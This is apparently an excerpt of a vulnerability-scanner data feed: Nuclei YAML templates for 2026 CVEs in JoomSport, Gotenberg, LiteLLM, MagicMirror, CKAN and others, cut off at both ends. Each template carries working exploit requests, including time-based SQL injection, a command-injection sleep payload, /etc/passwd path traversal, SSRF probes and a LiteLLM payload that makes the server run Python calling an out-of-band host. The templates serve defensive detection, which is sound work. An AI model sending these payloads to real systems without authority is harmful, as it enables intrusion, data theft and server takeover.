4a0a00473045022100ab01d3b6e869a818aa6ee2e7b92a094228a262a11c455c0e555f608c7cfd0f9e02201b89108bbdaf63718bac1af52cf3317608a0ee62e15d077be419001bec48d7f0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42796.yaml","vuln_id":"cve-2026-42796"},{"raw":"id: CVE-2026-42647\n\ninfo:\n  name: JoomSport <= 5.7.7 - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.\n  impact: |\n    Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.\n  remediation: |\n    Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability\n    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/base/wordpress/classes/class-jsport-getplayers.php#L153\n    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/classes/objects/class-jsport-playerlist.php#L80\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42647\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-42647\n    epss-score: 0.01323\n    epss-percentile: 0.70992\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: beardev\n    product: joomsport-sports-league-results-management\n    framework: wordpress\n  tags: cve,cve2026,wp,wordpress,wp-plugin,joomsport,sqli,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"<loc>\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: season_path\n        part: body\n        group: 1\n        regex:\n          - '<loc>[^<]*?//[^/]+(\\/[^<]+)</loc>'\n        internal: true\n\n  - raw:\n      - |\n        GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"Name\", \"Match played\", \"Played minutes\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET {{season_path}}?action=playerlist&sortf=post_title%60,(SELECT/**/x/**/FROM/**/(SELECT/**/SLEEP(6)/**/AS/**/x)/**/AS/**/t)%23&sortd=ASC HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 6'\n          - 'status_code == 200'\n          - 'contains_all(body, \"Name\", \"Match played\", \"Played minutes\")'\n        condition: and\n# digest: 4a0a00473045022100fe8c027f821881a1a30a3ce6fdb1469a7d52f7ce45b4891cb6643d8a685985280220032b5cf54e11620ffe3e08ed49abc32efdc9e33e4962a0d524b91affce4059e0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42647.yaml","vuln_id":"cve-2026-42647"},{"raw":"id: CVE-2026-42596\n\ninfo:\n  name: Gotenberg < 8.31.0 - Server-Side Request Forgery\n  author: str4k3r\n  severity: critical\n  description: |\n    Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42596\n  classification:\n    cve-id: CVE-2026-42596\n    epss-score: 0.01589\n    epss-percentile: 0.75711\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:gotenberg:gotenberg:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: \"Gotenberg\"\n    fofa-query: \"Gotenberg\"\n  tags: cve,cve2026,gotenberg,ssrf,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /forms/libreoffice/convert HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----testBoundary\n\n        ------testBoundary\n        Content-Disposition: form-data; name=\"downloadFrom\"\n\n        [{\"url\":\"http://[::ffff:127.0.0.1]:3000/health\"}]\n        ------testBoundary--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"No 'Content-Disposition' header from 'http://[::ffff:127.0.0.1]:3000/health'\"\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a00473045022100ea963c189a908d090201e1c5a12184adf193b87a45a782868ac0101227250d71022036fa1c411a1ff5fbf453067a42988cdb5d29c59f2b8b7c7df14aff467d0f428f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42596.yaml","vuln_id":"cve-2026-42596"},{"raw":"id: CVE-2026-42589\n\ninfo:\n  name: Gotenberg - Command Injection\n  author: fineman999\n  severity: critical\n  description: |\n    Gotenberg < 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to version 8.31.0 or later.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657\n    - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42589\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42589\n    epss-score: 0.03013\n    epss-percentile: 0.87454\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    vendor: gotenberg\n    product: gotenberg\n    max-request: 2\n  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /version HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"< 8.31.0\")'\n          - 'contains(to_lower(header), \"gotenberg\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - \"([0-9.]+)\"\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 10s\n        POST /forms/pdfengines/metadata/write HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}\n\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"files\"; filename=\"sample.pdf\"\n        Content-Type: application/pdf\n\n        %PDF-1.1\n        1 0 obj\n        << /Type /Catalog /Pages 2 0 R >>\n        endobj\n        2 0 obj\n        << /Type /Pages /Kids [3 0 R] /Count 1 >>\n        endobj\n        3 0 obj\n        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>\n        endobj\n        xref\n        0 4\n        0000000000 65535 f\n        0000000009 00000 n\n        0000000058 00000 n\n        0000000115 00000 n\n        trailer\n        << /Root 1 0 R /Size 4 >>\n        startxref\n        186\n        %%EOF\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"metadata\"\n\n        {\"Title\\n-if\\nsystem('sleep 6')||1\\n-Comment\":\"x\"}\n        ------WebKitFormBoundary{{randstr}}--\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 500\"\n          - \"duration >= 6\"\n        condition: and\n# digest: 490a0046304402203a2a89e28d63a80fbe45cf6258068cb615329524dd3ce252b175d389e748fbc4022029c4c66708878fba1363affe715f22cd2aaeba0a6e85af2dd9592d494872c2a1:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42589.yaml","vuln_id":"cve-2026-42589"},{"raw":"id: CVE-2026-4257\n\ninfo:\n  name: WordPress Contact Form by Supsystic - Server-Side Template Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    Contact Form by Supsystic WordPress plugin <= 1.7.36 contains a server-side template injection caused by unsandboxed Twig_Loader_String and cfsPreFill functionality, letting unauthenticated attackers execute arbitrary code remotely via GET parameters.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP functions and OS commands remotely, leading to full server compromise.\n  remediation: |\n    Update to the latest version beyond 1.7.36.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-36-unauthenticated-server-side-template-injection-via-prefill-functionality-vulnerability\n    - https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.7.36/modules/forms/views/forms.php#L323\n    - https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-4257\n    epss-score: 0.41475\n    epss-percentile: 0.98682\n    cwe-id: CWE-94\n  metadata:\n    max-request: 7\n    verified: true\n    vendor: supsystic\n    product: contact_form\n    framework: wordpress\n    shodan-query: http.component:\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-plugin,contact-form-by-supsystic,ssti,rce,twig,unauth,vkev\n\nvariables:\n  num1: \"{{rand_int(40000, 44800)}}\"\n  num2: \"{{rand_int(40000, 44800)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\nflow: |\n  http(1);\n  let found = [];\n  let seen = {};\n  for (let p of iterate(template[\"page-paths\"])) {\n    if (!seen[p]) {\n      seen[p] = true;\n      found.push(p);\n    }\n  }\n  let defaults = [\"/?page_id=2\", \"/?page_id=3\", \"/?page_id=4\", \"/?page_id=5\", \"/?page_id=6\"];\n  for (let d of defaults) {\n    if (!seen[d]) {\n      seen[d] = true;\n      found.push(d);\n    }\n  }\n  for (let page of found) {\n    let sep = page.includes(\"?\") ? \"&\" : \"?\";\n    set(\"pagepath\", page + sep);\n    if (http(2)) break;\n  }\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    extractors:\n      - type: regex\n        name: page-paths\n        internal: true\n        group: 1\n        regex:\n          - 'href=\"(?:https?://[^/\"]+)?(/\\?page_id=\\d+)'\n          - 'href=\"(?:https?://[^/\"]+)?(/[a-z][a-z0-9-]+/)'\n        part: body\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}{{pagepath}}cfsPreFill=1&first_name=%7B%7B{{num1}}*{{num2}}%7D%7D\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'value=\"{{result}}\"'\n\n      - type: word\n        part: body\n        words:\n          - 'contact-form-by-supsystic'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e6df6b91809f37e892ccaf19d5fea4dd7b7ce5be3e87da48badddaf1e2fa5a4b02203c23fd81e367816b5b9da8fc9bda20de641c85d89402225a1d4c1d34366a1ac9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-4257.yaml","vuln_id":"cve-2026-4257"},{"raw":"id: CVE-2026-42569\n\ninfo:\n  name: phpVMS < 7.0.6 - Legacy Importer Authorization Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   phpVMS < 7.0.6 contains an authentication bypass caused by unauthenticated access to a legacy import feature, letting unauthenticated attackers access restricted functionality, exploit requires no special privileges.\n  impact: |\n   Unauthenticated attackers can access restricted import functionality, potentially leading to unauthorized data manipulation or system compromise.\n  remediation: |\n   Update to version 7.0.6 or later.\n  reference:\n    - https://github.com/phpvms/phpvms/security/advisories/GHSA-fv26-4939-62fh\n    - https://github.com/phpvms/phpvms/commit/f59ba8e0e8fc25c60c3faf14e526cfd49df3f7dc\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42569\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H\n    cvss-score: 9.4\n    cve-id: CVE-2026-42569\n    epss-score: 0.01173\n    epss-percentile: 0.67586\n    cwe-id: CWE-284,CWE-306,CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: phpvms\n    product: phpvms\n    shodan-query: http.html:\"phpvms\"\n    fofa-query: app=\"phpVMS\"\n  tags: cve,cve2026,phpvms,auth-bypass,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/importer\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(to_lower(body), \"importer\", \"phpvms\")'\n          - 'contains_any(body, \"Import Configuration\", \"Database Config\", \"Start Importer\", \"WIPE OUT YOUR EXISTING DATA\", \"importer/config\")'\n        condition: and\n# digest: 4a0a0047304502202ec3374c7117b4187a367132b7f94c6f30b55729fdfebd732ae399ba107dff6c022100a357ce9bd2fefc67414d56c1fea5a1d8e3064b6f7ca3a5d08cb2f40a33c0c043:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42569.yaml","vuln_id":"cve-2026-42569"},{"raw":"id: CVE-2026-42564\n\ninfo:\n  name: jotty.page < 1.22.0 - Path Traversal\n  author: Het-Kalariya\n  severity: high\n  description: |\n    jotty·page < 1.22.0 contains a path traversal caused by lack of validation on filename parameter in /api/app-icons/[filename], letting unauthenticated attackers read arbitrary files outside intended directory.\n  impact: |\n    Unauthenticated attackers can read arbitrary files outside the intended directory, potentially exposing sensitive data.\n  remediation: |\n    Update to version 1.22.0 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42564\n    - https://github.com/fccview/jotty/security/advisories/GHSA-7843-gwq8-g96f\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-42564\n    epss-score: 0.01157\n    epss-percentile: 0.67147\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: fccview\n    product: jotty\n  tags: cve,cve2026,jotty,lfi,traversal,unauth\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/api/app-icons/..%2F..%2F..%2F..%2Fetc%2Fpasswd'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(to_lower(content_type), \"application/octet-stream\")'\n          - 'regex(\"root:.*:0:0:\", body)'\n        condition: and\n# digest: 4b0a00483046022100fe483391cd5fce6067ee8b3cf4a4fa9a17658c3e4778f4190ff6900dfed22776022100ac15e1c80d1d685156470a202658253480d84ab282437dcc64adeb169f6adde0:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-42564.yaml","vuln_id":"cve-2026-42564"},{"raw":"id: CVE-2026-42461\n\ninfo:\n  name: Arcane < 1.18.0 - Unauthenticated Template and Env Disclosure\n  author: str4k3r\n  severity: high\n  description: |\n    Arcane < 1.18.0 contains an information disclosure caused by missing authorization on /api/templates GET endpoints, letting unauthenticated network clients read sensitive Compose YAML and .env content, exploit requires network access\n  impact: |\n    Unauthenticated attackers can read sensitive operator secrets like database passwords and API keys, risking full system compromise.\n  remediation: |\n    Update to version 1.18.0 or later.\n  reference:\n    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-cxx3-hr75-4q96\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42461\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-42461\n    epss-score: 0.01283\n    epss-percentile: 0.70171\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: getarcaneapp\n    product: arcane\n    shodan-query: html:\"/api/app-images\"\n    fofa-query: body=\"/api/app-images\"\n  tags: cve,cve2026,arcane,exposure\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"/api/app-images\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/templates/all HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"BaseApiResponseListTemplate\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: tid\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"id\"\\s*:\\s*\"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"'\n\n  - raw:\n      - |\n        GET /api/templates/{{tid}}/content HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(body, \"envContent\")'\n        condition: and\n# digest: 490a0046304402201a549a11f164b68c0feecab25b4279728f9958c813ecaacc2726c799da79c53b02201e9783d24fbca18fc3eaca69a1c2934241c9d6767af331efadf2bba1be42f95d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-42461.yaml","vuln_id":"cve-2026-42461"},{"raw":"id: CVE-2026-42281\n\ninfo:\n  name: MagicMirror <= 2.35.0 - Server-Side Request Forgery\n  author: aleff-github\n  severity: critical\n  description: |\n    An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VAR_NAME), enabling exfiltration of server-side secrets.\n  impact: |\n    A remote unauthenticated attacker can force the MagicMirror server to request localhost, internal network, and cloud metadata endpoints. In affected configurations, the endpoint can return server-side responses to the attacker.\n  remediation: |\n    Upgrade MagicMirror to version 2.36.0 or later.\n  reference:\n    - https://github.com/advisories/GHSA-ph6f-2cvq-79hq\n    - https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq\n    - https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0\n    - https://osv.dev/vulnerability/GHSA-ph6f-2cvq-79hq\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-42281\n    epss-score: 0.01623\n    epss-percentile: 0.76192\n    cwe-id: CWE-918\n  metadata:\n    max-request: 2\n    verified: true\n    product: magicmirror\n    vendor: magicmirrororg\n    shodan-query: 'http.title:\"MagicMirror\"'\n  tags: cve,cve2026,magicmirror,ssrf,unauth,oast,oob\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"MagicMirror\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cors?url=http://127.0.0.1:8080/version\"\n      - \"{{BaseURL}}/cors?url=http://{{interactsh-url}}/version\"\n\n    stop-at-first-match: true\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        name: version\n        dsl:\n          - regex('^(?:[01]\\.[0-9]+\\.[0-9]+|2\\.(?:[0-9]|[12][0-9]|3[0-5])\\.[0-9]+)\\s*$', body)\n          - status_code == 200\n        condition: and\n\n      - type: dsl\n        name: dns\n        dsl:\n          - \"contains(interactsh_protocol,'dns')\"\n          - status_code == 200\n        condition: and\n# digest: 490a0046304402202dc315bba22522c43fcf0cd704e9bed1c73ce38d7991d15dac83454a93f522c00220308a923bfb07535b37032c8e319d0a38ac73354b2b538ae21a8592bcd5cd84fd:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42281.yaml","vuln_id":"cve-2026-42281"},{"raw":"id: CVE-2026-42271\n\ninfo:\n  name: LiteLLM - Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.\n  impact: |\n    Successful exploitation allows unauthenticated remote attackers to execute arbitrary commands on affected LiteLLM instances, potentially leading to full system compromise, lateral movement, data theft, and persistent access.\n  remediation: |\n    Upgrade LiteLLM to version 1.83.7 or later to remediate this vulnerability. If immediate patching is not possible, restrict access to the `/mcp-rest/test/connection` endpoint and ensure authentication verification is robust.\n  reference:\n    - https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/\n    - https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g\n    - https://github.com/BerriAI/litellm/pull/25343\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42271\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42271\n    epss-score: 0.91445\n    epss-percentile: 0.99813\n    cwe-id: CWE-77\n  metadata:\n    max-request: 1\n    vendor: berriai\n    product: litellm\n  tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev\n\nvariables:\n  payload: '{\"transport\":\"stdio\",\"command\":\"python\",\"args\":[\"-c\",\"import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')\"]}'\n\nhttp:\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: a/?x=\n        Content-Type: application/json\n        Content-Length: {{len(payload)}}\n\n        {{payload}}\n\n    unsafe: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Failed to connect to MCP server\"\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n    extractors:\n      - type: kval\n        kval:\n          - interactsh_ip\n# digest: 490a00463044022038cee53877239eaf6a29a669b3f491365a76c73aef2f9a65f01287297ba79b7e0220059f34285608761e94e0482d5ac0d809e048aeb125ee81ff6bbc9c58b28b516e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42271.yaml","vuln_id":"cve-2026-42271"},{"raw":"id: CVE-2026-42221\n\ninfo:\n  name: Nginx UI <= 2.3.7 - Unauthenticated Installer Exposure\n  author: str4k3r\n  severity: high\n  description: |\n    Nginx UI 2.0.0 to 2.3.8 contains an authentication bypass caused by unauthenticated access to /api/install during first-run setup, letting remote attackers claim the initial admin account, exploit requires attacker to access the service before legitimate operator.\n  impact: |\n    Remote attackers can permanently take over the initial administrator account, leading to full control of the instance.\n  remediation: |\n    Upgrade to version 2.3.8 or later.\n  reference:\n    - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h27v-ph7w-m9fp\n    - https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42221\n  classification:\n    cve-id: CVE-2026-42221\n    epss-score: 0.01342\n    epss-percentile: 0.7143\n    cwe-id: CWE-306\n    cvss-score: 8.1\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: 0xjacky\n    product: nginx-ui\n    shodan-query: http.title:\"Nginx UI\"\n    fofa-query: app=\"Nginx-UI\"\n  tags: cve,cve2026,nginx-ui,unauth,takeover,cwe-306\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/install HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"lock\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: lock_state\n        group: 1\n        regex:\n          - '(\"lock\":\\s*(?:true|false)(?:,\\s*\"timeout\":\\s*(?:true|false))?)'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/install HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"encrypted_params\":\"aW52YWxpZA==\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"decryption failed\", \"40001\")'\n        condition: and\n# digest: 490a004630440220564468de2cbdc2c54d705deb30e6eb84bec1e3d031f0567225deca1e619d3d89022026272f70b208963fa7cbdc48e7a131e69d2c886cec34ae7796fc7b3b4515811f:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-42221.yaml","vuln_id":"cve-2026-42221"},{"raw":"id: CVE-2026-42208\n\ninfo:\n  name: LiteLLM - SQL Injection\n  author: HAERIN-L\n  severity: critical\n  description: |\n    LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.\n  impact: |\n    Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.\n  remediation: |\n    Upgrade to version 1.83.7 or later.\n  reference:\n    - https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc\n    - https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42208\n    epss-score: 0.8942\n    epss-percentile: 0.99787\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: BerriAI\n    product: LiteLLM\n    shodan-query: http.title:\"LiteLLM\"\n  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /ui/login/? HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer invalid_token_baseline_test\n\n        {}\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_1, \"litellm-asset-prefix\")'\n          - 'contains(content_type_2, \"application/json\")'\n          - 'status_code_2 == 401'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'duration >= 8'\n        condition: and\n# digest: 4a0a0047304502203d9bc7438bccb7828d6fe33f1c87fa4012f2609cd7f8a1652c625d5809e5a26a022100ffcdbfeb9c7d81de91c726fbe45c9e6b80777947d4e57dace5985129171b6691:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-42208.yaml","vuln_id":"cve-2026-42208"},{"raw":"id: CVE-2026-42031\n\ninfo:\n  name: CKAN DataStore SQL Search - SQL Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.\n  impact: |\n    An unauthenticated attacker can read arbitrary data from the PostgreSQL database including system catalog tables, private DataStore resources, and potentially user credentials.\n  remediation: |\n    Upgrade CKAN to version 2.10.10 or 2.11.5 or later.\n  reference:\n    - https://github.com/advisories/GHSA-h7j7-3rx6-xvcg\n    - https://github.com/ckan/ckan/security/advisories/GHSA-h7j7-3rx6-xvcg\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42031\n    epss-score: 0.01817\n    epss-percentile: 0.78761\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: http.title:\"CKAN\"\n    fofa-query: title=\"CKAN\"\n  tags: cve,cve2026,ckan,sqli,datastore,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/action/status_show\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"ckan_version\"\n          - '\"success\": true'\n        condition: and\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - method: GET\n    path:\n      - 